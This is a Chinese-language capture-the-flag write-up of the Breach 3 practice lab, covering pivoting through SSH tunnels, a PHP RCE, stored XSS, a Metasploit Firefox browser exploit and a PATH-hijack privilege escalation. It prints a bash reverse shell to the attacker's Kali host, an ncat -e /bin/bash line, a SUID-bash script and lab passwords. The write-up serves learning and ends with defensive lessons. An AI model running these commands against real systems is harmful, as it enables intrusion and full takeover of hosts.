一：整理收集信息

目前。经过前两部分的flag收集和探测，可以得出：

Breach 3 靶场网络拓扑与端口扫描结果

📊 网络拓扑与端口状态汇总表

主机IP	主机类型	开放端口	服务/用途	访问方式
192.168.186.139​	Kali攻击机​	多个	攻击工具平台	直接访问
192.168.186.148​	主靶机（跳板）​	22/tcp	SSH服务	直接访问
		23/tcp	Telnet服务	直接访问
		2048/tcp	dls-monitor	直接访问
		5800/tcp	VNC over HTTP	直接访问
		10009/tcp	swdtp-sv	直接访问
		10010/tcp	rxapi	直接访问
		161/udp	SNMP服务	直接访问
192.168.122.65​	内网虚拟机1​	22/tcp	SSH服务	通过主靶机转发
		80/tcp	HTTP Web服务	通过主靶机转发
		8800/tcp	自定义服务	通过主靶机转发
192.168.122.28​	内网虚拟机2​	无开放端口	可能需特定条件激活	待探索

🔍 详细分析

主靶机 (192.168.186.148)

• 状态：已完全开放，可通过SSH直接连接（参见flag1的获取）

• 关键服务：

  • SSH (22/tcp)：已建立持久化访问

  • SNMP (161/udp)：初始信息收集入口

  • 多个自定义端口：可能包含其他漏洞点

内网虚拟机1 (192.168.122.65)

• 状态：服务正常运行，需通过端口转发访问

• 重要服务：

  • Web服务 (80/tcp)：可能的Web应用漏洞

  • 自定义服务 (8800/tcp)：可能包含关键flag或漏洞

  • SSH (22/tcp)：备用访问通道

内网虚拟机2 (192.168.122.28)

• 状态：当前无开放端口，可能需要：

  • 特定触发条件

  • 端口敲门序列

  • 内网其他主机的代理访问

🎯 当前渗透进展

已完成的攻击路径：

1. SNMP信息收集​ → 发现端口敲门序列

2. 端口敲门​ (545-232-1876) → 解锁SSH服务

3. SSH密钥利用​ → 获得thebobs用户权限

4. 内网发现​ → 确认虚拟化环境

5. 端口转发​ → 访问内网192.168.122.65服务

下一步攻击方向：

1. 重点攻击192.168.122.65的Web服务(80/tcp)和自定义服务(8800/tcp)

2. 探索192.168.122.28的激活条件

3. 在虚拟化环境中寻找新的攻击向量

二：状态分析

1：命令分析

SSH端口转发详解

ssh thebobs@192.168.186.148 -i id_rsa -o PubkeyAcceptedKeyTypes=ssh-rsa -L 192.168.186.139:8081:192.168.122.65:80 

🌐 执行后终端位置

执行这个命令后，终端会停留在SSH会话中，连接到靶机（192.168.186.148），而不是直接连接到.65内网主机。这个SSH连接有两个作用：

1. 交互式Shell：可以在终端中输入命令操作靶机

2. 端口转发隧道：SSH连接会创建一个加密的数据通道用于转发流量

🔗 为什么可以通过SSH连接

SSH连接之所以成功，是因为具备以下条件：

要素	说明
靶机IP可访问​	192.168.186.148 在Kali网络可达范围内
正确的私钥​	-i id_rsa使用从靶机获取的私钥文件
算法兼容​	-o PubkeyAcceptedKeyTypes=ssh-rsa确保新旧SSH版本兼容
授权公钥​	靶机上已将对应公钥添加到~/.ssh/authorized_keys

📡 完整通信流程

步骤1：建立SSH连接

Kali (192.168.186.139) --SSH加密连接--> 靶机 (192.168.186.148)

步骤2：本地监听

SSH客户端在Kali本地监听：

监听地址：192.168.186.139:8081

步骤3：浏览器访问

在浏览器访问：

http://192.168.186.139:8081

步骤4：数据流转（完整路径）

浏览器 (Kali)
    ↓ HTTP请求
localhost:8081 (SSH客户端本地监听端口)
    ↓ SSH加密隧道
SSH客户端 → SSH服务端 (靶机)
    ↓ 解密后转发
靶机网络接口 → 192.168.122.65:80 (内网Web服务器)
    ↓ HTTP响应
192.168.122.65:80 → 靶机
    ↓ SSH加密隧道
SSH服务端 → SSH客户端 (Kali)
    ↓ 返回给本地监听端口
localhost:8081 → 浏览器
    ↓ 显示网页内容
浏览器渲染页面

🏗️ 三层网络通信详解

1. Kali ↔ 靶机通信

• 协议：SSH (TCP 22端口)

• 加密：所有流量通过SSH加密

• 连接：持久化的控制通道+数据通道

2. 靶机 ↔ .65内网主机通信

• 网络可达：靶机(192.168.186.148)与.65(192.168.122.65)在不同子网

• 关键点：靶机具有双网卡：

  • eth0: 192.168.186.148 (与Kali通信)

  • virbr0: 192.168.122.1 (与内网虚拟机通信)

• 通信方式：靶机作为网关/路由器，可以访问192.168.122.0/24网络

3. 端口转发工作模式

-L [本地IP]:[本地端口]:[目标IP]:[目标端口]

这个参数创建了：

• 本地代理：在Kali上创建了一个"假"的Web服务器(8081端口)

• 远程转发：SSH服务端(靶机)收到数据后，以靶机身份连接目标

• 双向隧道：请求和响应都通过同一SSH连接传输

🎯 为什么能回显到浏览器

透明代理机制

SSH端口转发创建了一个透明代理，浏览器并不知道它访问的其实是远端服务：

1. 地址欺骗：浏览器以为192.168.186.139:8081是本地服务

2. 协议透明：SSH只负责传输原始TCP数据，不修改HTTP协议

3. 连接保持：SSH隧道保持长连接，减少建立新连接的开销

数据流示例

sequenceDiagram
    浏览器->>本地8081端口: 发送HTTP请求
    本地8081端口->>SSH客户端: 接收请求
    SSH客户端->>SSH服务端(靶机): 加密传输
    SSH服务端(靶机)->>内网.65:80: 转发请求
    内网.65:80-->>SSH服务端(靶机): HTTP响应
    SSH服务端(靶机)-->>SSH客户端: 加密传输响应
    SSH客户端-->>本地8081端口: 返回响应
    本地8081端口-->>浏览器: 显示网页

💡 关键理解点

1. SSH是双向管道：既提供Shell交互，又提供端口转发

2. 靶机是跳板：.65不可直接从Kali访问，需要靶机中转

3. 所有流量加密：Kali-靶机之间的通信是加密的，但靶机-.65是内网明文

4. 本地端口是"镜像"：8081端口镜像了.65:80的服务，但不是真正的Web服务器

2：定位

flag2攻击流程概述：

利用已建立的隧道：此前已经通过SSH隧道（-L 192.168.186.139:8081:192.168.122.65:80）将内网主机192.168.122.65的80端口服务，映射到了本地Kali（192.168.186.139）的8081端口。

访问内网Web应用：通过浏览器访问 http://192.168.186.139:8081/intranet/1.php，实际上访问的是内网主机192.168.122.65上的一个PHP文件。

触发RCE漏洞：通过URL参数

?0=/bin/bash -c 'bash -i >%26 /dev/tcp/192.168.186.139/2323 0>%261'

向该PHP文件传入了一个经过URL编码的命令。该命令会在服务器端执行，启动一个反向Shell连接回您的Kali（192.168.186.139）的2323端口。

获得反弹Shell：Kali在2323端口通过netcat成功接收到这个反向连接。连接来源IP为192.168.186.148，获得的Shell用户身份是 www-data。

这个终端属于内网主机 192.168.122.65

RCE漏洞发生在您通过隧道访问的 http://192.168.186.139:8081所对应的真实服务上，即 192.168.122.65:80。因此，执行的命令是在该内网主机上运行的。

为何连接来源IP显示为 192.168.186.148

内网主机192.168.122.65无法直接访问您Kali所在的192.168.186.0/24网段。它的网络流量必须经过其网关（即靶机 192.168.186.148，它同时拥有192.168.122.1和192.168.186.148两个IP）进行转发（SNAT）。因此，反弹Shell的TCP连接从65发出，经过148的地址转换后，才到达您的Kali，所以在Kali上看到的连接源地址是网关148的地址，而非内网65的地址。通过SSH隧道接触到内网服务，并利用该服务上的RCE漏洞，成功获取了内网主机 192.168.122.65​ 的一个 www-data用户权限的Shell。显示为192.168.186.148的连接是正常的网络地址转换（NAT）结果，并不改变Shell实际所属的主机。

三：获取flag3的分析

1：环境分析：

在成功渗透内网主机192.168.122.65并获取peter用户权限后，我面临的下一挑战是探索同网段中另一台看似"不开放端口"的主机192.168.122.28。尽管初步端口扫描显示该主机无开放服务，但经验告诉我，在复杂的内网环境中，这往往意味着需要寻找非标准的访问路径。

初步探索：本地服务分析

首先，我检查了当前主机（192.168.122.65）的网络服务状态，特别是8800端口的情况：

关键信息：8800端口确实在监听，且3306端口（MySQL）仅绑定在本地。这证实了之前通过端口转发访问8800服务的正确性，同时也暗示了可能存在本地数据库服务。

日志分析：追踪隐藏主机的访问痕迹

既然192.168.122.28没有开放常规端口，我转向了经典的渗透测试方法：通过相邻系统的日志分析，寻找横向移动的线索。

为何从日志入手？​ 在复杂内网中，主机间常有各种隐蔽的通信。即使目标主机不对外提供服务，它仍可能主动访问网络中的其他资源。Web服务器的访问日志正是记录这类交互的绝佳位置。

我首先定位到Nginx日志目录：

注意到access.log.9.gz文件权限为644（所有用户可读），我立即解压并搜索目标IP：

重大发现：192.168.122.28曾在2016年9月29日成功访问了/support/ticket.php页面，这意味着：

1. 该主机并非完全"沉默"，它曾主动发起过Web请求

2. 存在一个/support/ticket.php的端点，可能仍可访问

3. 这个端点可能是内网中的共享服务

定位并分析目标页面

接下来需要找到这个ticket.php文件的位置。由于Nginx通常将Web根目录设置在/var/www或类似位置，结合Nginx配置和实际探索，查看默认配置文件后，最终在/var/www/html2目录下找到了相关文件：

查看ticket.php的关键代码：

<?php
include("db.php");
$result=mysql_query("SELECT * FROM tickets");

echo "<table style='border: 2px solid white;' table border='2'cellpadding=1 width=100%' height='0%'>

<tr>
<th>Name</th>
<th>Employee ID</th>
<th>Message</th>
</tr>";

while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "<td>" . $row['employeeid'] . "</td>";
echo "<td>" . $row['message'] . "</td>";
echo "</tr>";
}
echo "</table>";
?>

安全漏洞分析

从代码中可以观察到几个关键点：

1. 直接数据库查询：代码使用mysql_query()执行未经充分处理的SQL查询，但输出时使用了$row['字段名']方式，这降低了SQL注入的风险，但并非完全免疫。

2. 存储型XSS潜在风险：仔细审查代码发现，程序从数据库读取name、employeeid和message字段后，直接通过echo输出到HTML页面中，没有进行任何HTML实体编码或过滤。这意味着如果攻击者能够向数据库注入恶意脚本（例如通过应用的其他输入点），这些脚本将在用户访问ticket.php页面时执行。

3. 攻击场景：结合delete.php的存在以及票据系统的功能，这很可能是一个支持工单系统。如果用户提交工单时输入的姓名、工号或消息字段包含恶意脚本，那么所有查看工单列表的人员都可能受到影响。

经验总结与后续思路

这次日志分析的成功验证了渗透测试中的一个重要原则："无开放端口"不等于"不可达"。通过以下方法，发现了隐藏的通信路径：

• 利用相邻系统日志：在无法直接扫描目标时，检查同一网段中已控主机的日志

• 权限利用：注意到access.log.9.gz全局可读权限，这是常见配置错误

2:建立端口转发

在成功获取192.168.122.65主机的访问权限后，我继续向内网纵深推进，目标是探索之前发现的隐藏主机192.168.122.28可能访问过的服务。通过日志分析，我发现了/support/ticket.php这个可疑端点，现在需要验证其实际功能和安全状况。为了访问192.168.122.65主机上运行的8800端口服务，我建立了一个新的SSH隧道：

ssh thebobs@192.168.186.148 -i id_rsa -o PubkeyAcceptedKeyTypes=ssh-rsa -L 192.168.186.139:8082:192.168.122.65:8800

命令解析：

• -L 192.168.186.139:8082:192.168.122.65:8800：将本地Kali的8082端口映射到内网主机192.168.122.65的8800端口

• 这样我就可以通过http://192.168.186.139:8082访问内网的8800服务

探索8800端口服务

1. 发现登录界面

通过浏览器访问http://192.168.186.139:8082，我发现了一个登录界面。这个系统运行在8800端口，与之前80端口的Web应用是独立的服务。

2. 使用已知凭据登录

基于之前的渗透测试成果，直接使用已获取的凭据：

• 用户名：samir

• 密码：infosecrockstar
  

3. 验证存储型XSS漏洞

为了验证该系统是否存在存储型XSS漏洞，我提交了测试数据：

测试输入：

• Name: 1

• Employee ID: 1

• Message: <script>alert(1)</script>

点击Submit提交后，工单被成功存储到系统中。

确认漏洞存在

关键的一步是访问工单展示页面来验证XSS是否生效：

# 访问之前日志中发现的ticket.php页面
http://192.168.186.139:8082/support/ticket.php

验证结果：页面成功加载并弹出了警告框"1"，这明确证实了存储型XSS漏洞的存在。

漏洞原理分析

回顾之前查看的ticket.php源代码：

while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";      // 直接输出，未过滤
echo "<td>" . $row['employeeid'] . "</td>"; // 直接输出，未过滤  
echo "<td>" . $row['message'] . "</td>";    // 直接输出，未过滤
echo "</tr>";
}

根本原因：所有从数据库读取的字段值都直接输出到HTML中，没有进行任何HTML实体编码或过滤处理。

3:利用MSF框架渗透

利用存储型XSS触发客户端攻击渗透隐藏主机:

在成功验证了存储型XSS漏洞的存在后，我接下来的目标是通过这个漏洞渗透之前日志中发现的隐藏主机192.168.122.28。分析访问日志时，我注意到一个重要细节：该主机使用的是Firefox 22.0浏览器（2013年发布的旧版本），这为客户端攻击提供了可能性。
 

192.168.122.28 - - [29/Sep/2016:05:50:07 -0400] "GET /support/ticket.php HTTP/1.1" 200 160 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"

第一步：选择合适的浏览器漏洞利用模块

基于目标浏览器的版本信息，我在Metasploit中搜索合适的攻击模块：

msf > search firefox 20 Remote

在Metasploit中搜索漏洞时，通常使用主版本号而不是完整版本号。

从搜索结果中，我选择了 exploit/multi/browser/firefox_tostring_console_injection模块，该模块专门针对Firefox浏览器的JavaScript控制台注入漏洞。

第二步：配置攻击模块参数

加载模块并进行配置：

msf > use exploit/multi/browser/firefox_tostring_console_injection
msf exploit(firefox_tostring_console_injection) > set SRVHOST 192.168.186.139
msf exploit(firefox_tostring_console_injection) > set SRVPORT 8888
msf exploit(firefox_tostring_console_injection) > set URIPATH good

参数说明：

• SRVHOST: 攻击服务器监听地址（我的Kali IP）

• SRVPORT: 攻击服务器监听端口

• URIPATH: 恶意页面的URL路径

第三步：启动攻击服务

msf exploit(firefox_tostring_console_injection) > run -j

启动后，Metasploit生成攻击URL：http://192.168.186.139:8888/good，并开始监听4444端口等待反弹Shell连接。

第四步：通过XSS漏洞植入攻击载荷

利用之前验证的存储型XSS漏洞，我在工单系统的消息字段中注入iframe标签：

<iframe src="http://192.168.186.139:8888/good"></iframe>

提交后，这个恶意iframe被永久存储在数据库中。当192.168.122.28的用户（或任何有该浏览器版本的用户）访问 http://192.168.186.139:8082/support/ticket.php查看工单列表时，iframe会自动加载恶意页面，触发Firefox漏洞。

第五步：建立初始连接与会话升级

成功触发漏洞后，我在Kali上收到了来自192.168.186.148（跳板机，执行了NAT转换）的反向Shell连接。但普通Shell功能有限，我决定将其升级为功能更强大的Meterpreter会话。

msf > search shell_to_meterpreter
msf > use post/multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > set lhost 192.168.186.139
msf post(shell_to_meterpreter) > set session 9（根据sessions列表来判断，很容易出问题，但似乎对后续无多大影响）
msf post(shell_to_meterpreter) > run

关于set session num参数：这是Metasploit中指定要操作的具体会话ID的参数。当有多个活跃会话时（如图片显示有Session 9、10、11），必须用这个参数指明要对哪个会话执行升级操作。

第六步：获取目标主机访问权限

升级成功后，我获得了新的Meterpreter会话（Session 10）。通过交互，确认已成功进入目标主机192.168.122.28，但是由于操作问题，shell_to_meterpreter这步操作混乱，由于设置参数的问题，可能并未起效，但不影响后续渗透：

msf post(shell_to_meterpreter) > sessions -i 10
[*] Starting interaction with 10...

meterpreter > shell
Process 11575 created.
Channel 1 created.
id
uid=1001(lazyadmin) gid=1001(lazyadmin) groups=1001(lazyadmin)

python -c 'import pty;pty.spawn("/bin/bash");'
lazyadmin@bill-desktop:~$

关键确认：从主机名bill-desktop可以确认，这正是我之前通过qemu进程发现的第二台虚拟机，也是日志中访问过ticket.php页面的主机192.168.122.28。特别值得注意的是，整个过程中我无需直接扫描或攻击192.168.122.28的开放端口，而是利用了客户端浏览器的漏洞，通过用户正常的Web访问行为实现了"被动式"渗透。这种攻击方式在内网渗透中往往能绕过许多传统防御措施。
注：

项目	shell命令 (Meterpreter内置)​	shell_to_meterpreter模块​
类型​	Meterpreter会话中的子命令​	独立的后期利用模块​
作用​	在Meterpreter中临时生成一个系统Shell	将基础的Shell会话升级为功能更强的Meterpreter
方向​	Meterpreter → 系统Shell (降级)	基础Shell → Meterpreter (升级)
持久性​	临时通道，退出后返回Meterpreter	创建新的持久会话

4：登录内网横向移动与提权

在成功渗透192.168.122.28主机并获取lazyadmin用户权限后，我发现系统中还存在另一个用户blumbergh。通过信息收集，我发现了潜在的权限提升路径。

1. 用户切换与密码破解

首先尝试切换到blumbergh用户：

lazyadmin@bill-desktop:/home$ cd blumbergh
lazyadmin@bill-desktop:/home/blumbergh$ su blumbergh
Password: C0ff33stainS

重要发现：通过密码尝试，我成功使用密码C0ff33stainS切换到blumbergh用户。这个密码来自之前的密码破解、数据库泄露。（在拿到flag1后继续探索，发现可以免密登录数据库。）

2. 分析可疑程序swingline

在blumbergh用户目录中，发现了一个名为swingline的可执行文件：

blumbergh@bill-desktop:~$ ls
swingline

程序分析：通过GDB调试分析（根据教程，这里笔者暂时没有相关能力），发现swingline程序在执行时会调用system()函数执行以下命令：

ncat -6 -e /bin/bash 0:0:0:0:0:0:1 8889 >/dev/null 2>&1 && echo

关键发现：

• 程序尝试使用IPv6地址(::1)和8889端口建立反向shell

• 调用ncat命令，但系统可能没有安装或配置正确

• 程序输出提示语："This is the last straw, I'm burning the building down."

3. 利用PATH环境变量劫持提权

基于对swingline程序的分析，设计提权方案：

步骤1：创建恶意ncat脚本

echo -e '#!/bin/bash\ncp /bin/bash /home/blumbergh/shell\nchmod +s /home/blumbergh/shell' > ncat
chmod +x ncat

脚本作用：

• 复制/bin/bash到当前目录并命名为shell

• 设置SUID权限，使任何执行此文件的用户都拥有文件所有者的权限

步骤2：设置环境变量劫持

export PATH=/home/blumbergh:$PATH

原理：将当前目录添加到PATH环境变量最前面，系统在执行ncat时会优先找到我创建的恶意脚本。

步骤3：执行swingline程序

/home/blumbergh/swingline

程序执行我的恶意ncat脚本，创建具有SUID权限的bash副本。

步骤4：获取root权限

./shell -p

参数解释：-p参数告诉bash在特权模式下运行时不要重置有效用户ID，从而保持root权限。

4. 成功提权并获取最终Flag

获得root权限后，我立即开始搜索flag文件：

shell-4.3# find -type f -name '*flag3*' 2>/dev/null
./Desktop/ / /flag3.txt

注意：经过路径探索，最终定位到：

shell-4.3# cd /root/Desktop
shell-4.3# ls
flag3.txt
shell-4.3# cat flag3.txt

成功获取flag3.txt，内容包含祝贺信息和作者感言，标志着Breach 3靶场的完整攻克。

整个渗透测试过程体现了多层次的攻击链：

1. 外部信息收集：通过SNMP服务发现端口敲门序列

2. 服务枚举：使用端口敲门解锁隐藏服务

3. Web应用攻击：利用RCE漏洞获取初始立足点

4. 内网横向移动：通过端口转发访问内网服务

5. 客户端攻击：利用存储型XSS触发浏览器漏洞

6. 权限提升：分析二进制文件，利用环境变量劫持获取root权限

7. Flag获取：在root目录找到最终flag

技术要点总结：

• 端口敲门技术：用于隐藏服务的访问控制

• SSH隧道与端口转发：内网穿透的关键技术

• 存储型XSS利用：持久化的客户端攻击载体

• 浏览器漏洞利用：针对特定版本的客户端攻击

• PATH环境变量劫持：经典的权限提升技术

• SUID权限滥用：配置错误导致的权限提升

安全启示：

1. 最小权限原则：避免不必要的SUID权限设置

2. 输入验证：对所有用户输入进行严格过滤

3. 环境变量安全：谨慎处理PATH等环境变量

4. 及时更新：保持软件和浏览器版本最新

5. 纵深防御：多层安全防护，避免单点失效

四：总结与反思

拿到flag3标志着breach3攻克，当然这其中有不少水分，并且对于一些命令我并不理解为何要这样用，以及对于渗透测试的直觉，嗅觉很匮乏，如果没有引路人，我必定举步维艰，关于这次靶场涉及到的一些知识也很多。后续应该会单独写一个关于打靶场的初步总结。值得感谢的是，Zumpyx老师的很多方法让我受益匪浅。他所使用到的很多工具让我大开眼界。关于gdb断点调试攻克最后一关，我会专门补习相关功课直到理解攻克方法的原理，使得自己稍微心安理得一些。现在是2：27分。希望一天的努力没有白费。